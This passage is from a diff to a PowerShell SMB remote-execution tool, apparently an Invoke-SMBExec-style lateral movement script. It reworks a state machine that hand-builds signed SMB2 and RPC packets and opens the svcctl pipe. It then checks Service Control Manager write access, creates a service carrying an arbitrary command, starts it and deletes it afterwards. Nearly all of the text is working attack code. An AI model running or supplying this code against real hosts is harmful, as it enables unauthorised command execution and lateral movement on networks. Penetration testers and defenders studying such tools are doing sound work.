+ [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
+ $packet_SMB_header["Signature"] = $SMB_signing_sequence
}
- $packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00
- $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
- $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
- $RPC_data_length = $SMB2_data.Length + $RPC_data.Length
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
+ $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
+ $packet_SMB_data = New-PacketSMBTreeDisconnectRequest
+ $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
if($SMB_signing)
{
- $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data
- $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
- $SMB2_signature = $SMB2_signature[0..15]
- $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ $SMB_sign = $session_key + $SMB_header + $SMB_data
+ $SMB_signature = $MD5.ComputeHash($SMB_sign)
+ $SMB_signature = $SMB_signature[0..7]
+ $packet_SMB_header["Signature"] = $SMB_signature
+ $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
}
- $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'ReadRequest'
- $SMB_client_stage_next = 'OpenSCManagerW'
+ $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+ $stage = 'Logoff'
}
-
- 'ReadRequest'
- {
- Start-Sleep -m $Sleep
- $SMB2_message_ID++
- $packet_SMB2_header = Get-PacketSMB2Header 0x08,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID
- $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00
- $packet_SMB2_header["SMB2Header_CreditCharge"] = 0x10,0x00
-
- if($SMB_signing)
- {
- $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00
- }
+ }
+
+ }
- $packet_SMB2_data = Get-PacketSMB2ReadRequest $SMB_file_ID
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
- $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+ }
+ else
+ {
+
+ $stage = 'TreeConnect'
- if($SMB_signing)
- {
- $SMB2_sign = $SMB2_header + $SMB2_data
- $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
- $SMB2_signature = $SMB2_signature[0..15]
- $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- }
+ try
+ {
- $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
+ while ($stage -ne 'Exit')
+ {
- if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00')
- {
- $SMB_client_stage = $SMB_client_stage_next
- }
- else
+ switch ($stage)
+ {
+
+ 'CheckAccess'
{
- $SMB_client_stage = 'StatusPending'
- }
- }
+ if([System.BitConverter]::ToString($client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00')
+ {
- 'StatusPending'
- {
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
+ $SMB_service_manager_context_handle = $client_receive[108..127]
+
+ if($SMB_execute -eq $true)
+ {
+ Write-Verbose "$output_username has Service Control Manager write privilege on $Target"
+ $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes
+ $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
+
+ if($SCM_data.Length -lt $SMB_split_index)
+ {
+ $stage = 'CreateServiceW'
+ }
+ else
+ {
+ $stage = 'CreateServiceW_First'
+ }
+
+ }
+ else
+ {
+ Write-Output "[+] $output_username has Service Control Manager write privilege on $Target"
+ $SMB_close_service_handle_stage = 2
+ $stage = 'CloseServiceHandle'
+ }
+
+ }
+ elseif([System.BitConverter]::ToString($client_receive[128..131]) -eq '05-00-00-00')
+ {
+ Write-Output "[-] $output_username does not have Service Control Manager write privilege on $Target"
+ $stage = 'Exit'
+ }
+ else
+ {
+ Write-Output "[-] Something went wrong with $Target"
+ $stage = 'Exit'
+ }
- if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00')
- {
- $SMB_client_stage = $SMB_client_stage_next
}
- }
-
- 'OpenSCManagerW'
- {
- $SMB2_message_ID = 30
- $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID
- $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00
-
- if($SMB_signing)
+ 'CloseRequest'
{
- $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00
- }
+ $stage_current = $stage
+ $message_ID++
+ $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
+
+ if($SMB_signing)
+ {
+ $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00
+ }
+
+ $packet_SMB2_data = New-PacketSMB2CloseRequest $file_ID
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
+ $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
- $packet_SCM_data = Get-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length
- $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
- $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00
- $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
- $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length)
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
- $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
- $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+ if($SMB_signing)
+ {
+ $SMB2_sign = $SMB2_header + $SMB2_data
+ $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
+ $SMB2_signature = $SMB2_signature[0..15]
+ $packet_SMB2_header["Signature"] = $SMB2_signature
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ }
- if($SMB_signing)
+ $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
+ $stage = 'SendReceive'
+ }
+
+ 'CloseServiceHandle'
{
- $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
- $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
- $SMB2_signature = $SMB2_signature[0..15]
- $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature
+
+ if($SMB_close_service_handle_stage -eq 1)
+ {
+ Write-Verbose "Service $SMB_service deleted on $Target"
+ $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle
+ }
+ else
+ {
+ $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle
+ }
+
+ $SMB_close_service_handle_stage++
+ $stage_current = $stage
+ $message_ID++
+ $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
+
+ if($SMB_signing)
+ {
+ $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00
+ }
+
+ $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
+ $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x00,0x00
+ $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
+ $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length)
$SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
+ $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
+ $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+
+ if($SMB_signing)
+ {
+ $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
+ $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
+ $SMB2_signature = $SMB2_signature[0..15]
+ $packet_SMB2_header["Signature"] = $SMB2_signature
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ }
+
+ $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
+ $stage = 'SendReceive'
}
+
+ 'CreateRequest'
+ {
+ $stage_current = $stage
+ $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl
+ $message_ID++
+ $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
+
+ if($SMB_signing)
+ {
+ $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00
+ }
- $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'ReadRequest'
- $SMB_client_stage_next = 'CheckAccess'
- }
+ $packet_SMB2_data = New-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes
+ $packet_SMB2_data["Share_Access"] = 0x07,0x00,0x00,0x00
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
+ $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
- 'CheckAccess'
- {
+ if($SMB_signing)
+ {
+ $SMB2_sign = $SMB2_header + $SMB2_data
+ $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
+ $SMB2_signature = $SMB2_signature[0..15]
+ $packet_SMB2_header["Signature"] = $SMB2_signature
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ }
- if([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00')
- {
+ $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
- $SMB_service_manager_context_handle = $SMB_client_receive[108..127]
-
- if($SMB_execute -eq $true)
+ try
{
- Write-Verbose "$output_username is a local administrator on $Target"
- $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes
- $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
- if($SCM_data.Length -lt $SMB_split_index)
+ if(Get-StatusPending $client_receive[12..15])
{
- $SMB_client_stage = 'CreateServiceW'
+ $stage = 'StatusPending'
}
else
{
- $SMB_client_stage = 'CreateServiceW_First'
+ $stage = 'StatusReceived'
}
}
- else
+ catch
{
- Write-Output "$output_username is a local administrator on $Target"
- $SMB2_message_ID += 20
- $SMB_close_service_handle_stage = 2
- $SMB_client_stage = 'CloseServiceHandle'
- }
+ Write-Output "[-] Session connection is closed"
+ $stage = 'Exit'
+ }
}
- elseif([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '05-00-00-00')
- {
- Write-Output "$output_username is not a local administrator or does not have required privilege on $Target"
- $SMBExec_failed = $true
- }
- else
- {
- Write-Output "Something went wrong with $Target"
- $SMBExec_failed = $true
- }
- }
-
- 'CreateServiceW'
- {
-
- if($SMBExec_command_bytes.Length -lt $SMB_split_index)
+ 'CreateServiceW'
{
- $SMB2_message_ID += 20
- $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID
- $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00
+ $stage_current = $stage
+ $message_ID++
+ $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
if($SMB_signing)
{
- $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00
+ $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00
}
- $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00
+ $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00
$RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
- $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length)
+ $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length)
$SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
$SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
$RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
if($SMB_signing)
@@ -2181,186 +2324,217 @@ if($SMB_client.Connected)
$SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
$SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
$SMB2_signature = $SMB2_signature[0..15]
- $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature
+ $packet_SMB2_header["Signature"] = $SMB2_signature
$SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
}
- $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'ReadRequest'
- $SMB_client_stage_next = 'StartServiceW'
+ $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
+ $stage = 'SendReceive'
}
- else
+
+ 'CreateServiceW_First'
{
+ $stage_current = $stage
+ $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index)
+ $message_ID++
+ $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-
- }
- }
+ if($SMB_signing)
+ {
+ $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00
+ }
- 'CreateServiceW_First'
- {
- $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index)
- $SMB2_message_ID += 20
- $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID
- $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00
-
- if($SMB_signing)
- {
- $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00
- }
+ $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)]
+ $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first
+ $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length)
+ $SMB_split_index_tracker = $SMB_split_index
+ $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
+ $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
+ $RPC_data_length = $SMB2_data.Length + $RPC_data.Length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
+ $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
- $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)]
- $packet_RPC_data = Get-PacketRPCRequest 0x01 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first
- $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length)
- $SMB_split_index_tracker = $SMB_split_index
- $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
- $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
- $RPC_data_length = $SMB2_data.Length + $RPC_data.Length
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
- $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+ if($SMB_signing)
+ {
+ $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data
+ $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
+ $SMB2_signature = $SMB2_signature[0..15]
+ $packet_SMB2_header["Signature"] = $SMB2_signature
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ }
- if($SMB_signing)
+ $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
+ $stage = 'SendReceive'
+ }
+
+ 'CreateServiceW_Middle'
{
- $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data
- $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
- $SMB2_signature = $SMB2_signature[0..15]
- $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature
+ $stage_current = $stage
+ $SMB_split_stage++
+ $message_ID++
+ $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
+
+ if($SMB_signing)
+ {
+ $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00
+ }
+
+ $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)]
+ $SMB_split_index_tracker += $SMB_split_index
+ $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle
+ $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index)
+ $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
+ $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length
$SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- }
+ $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
+ $RPC_data_length = $SMB2_data.Length + $RPC_data.Length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
+ $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
- $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
+ if($SMB_signing)
+ {
+ $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data
+ $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
+ $SMB2_signature = $SMB2_signature[0..15]
+ $packet_SMB2_header["Signature"] = $SMB2_signature
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ }
- if($SMB_split_stage_final -le 2)
- {
- $SMB_client_stage = 'CreateServiceW_Last'
+ $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
+ $stage = 'SendReceive'
}
- else
+
+ 'CreateServiceW_Last'
{
- $SMB_split_stage = 2
- $SMB_client_stage = 'CreateServiceW_Middle'
- }
+ $stage_current = $stage
+ $message_ID++
+ $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
+
+ if($SMB_signing)
+ {
+ $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00
+ }
- }
+ $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length]
+ $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last
+ $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
+ $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
+ $RPC_data_length = $SMB2_data.Length + $RPC_data.Length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
+ $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
- 'CreateServiceW_Middle'
- {
- $SMB_split_stage++
- $SMB2_message_ID++
- $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID
- $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00
-
- if($SMB_signing)
- {
- $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00
+ if($SMB_signing)
+ {
+ $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data
+ $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
+ $SMB2_signature = $SMB2_signature[0..15]
+ $packet_SMB2_header["Signature"] = $SMB2_signature
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ }
+
+ $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
+ $stage = 'SendReceive'
}
- $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)]
- $SMB_split_index_tracker += $SMB_split_index
- $packet_RPC_data = Get-PacketRPCRequest 0x00 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle
- $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index)
- $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
- $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
- $RPC_data_length = $SMB2_data.Length + $RPC_data.Length
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
- $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+ 'DeleteServiceW'
+ {
- if($SMB_signing)
- {
- $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data
- $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
- $SMB2_signature = $SMB2_signature[0..15]
- $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- }
+ if([System.BitConverter]::ToString($client_receive[108..111]) -eq '1d-04-00-00')
+ {
+ Write-Output "[+] Command executed with service $SMB_service on $Target"
+ }
+ elseif([System.BitConverter]::ToString($client_receive[108..111]) -eq '02-00-00-00')
+ {
+ Write-Output "[-] Service $SMB_service failed to start on $Target"
+ }
- $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
+ $stage_current = $stage
+ $message_ID++
+ $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
+
+ if($SMB_signing)
+ {
+ $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00
+ }
- if($SMB_split_stage -ge $SMB_split_stage_final)
- {
- $SMB_client_stage = 'CreateServiceW_Last'
- }
- else
- {
- $SMB_client_stage = 'CreateServiceW_Middle'
- }
+ $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle
+ $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
+ $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x02,0x00
+ $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
+ $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length)
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
+ $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
+ $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
- }
+ if($SMB_signing)
+ {
+ $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
+ $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
+ $SMB2_signature = $SMB2_signature[0..15]
+ $packet_SMB2_header["Signature"] = $SMB2_signature
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ }
- 'CreateServiceW_Last'
- {
- $SMB2_message_ID++
- $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID
- $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00
-
- if($SMB_signing)
- {
- $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00
+ $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
+ $stage = 'SendReceive'
}
- $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length]
- $packet_RPC_data = Get-PacketRPCRequest 0x02 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last
- $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
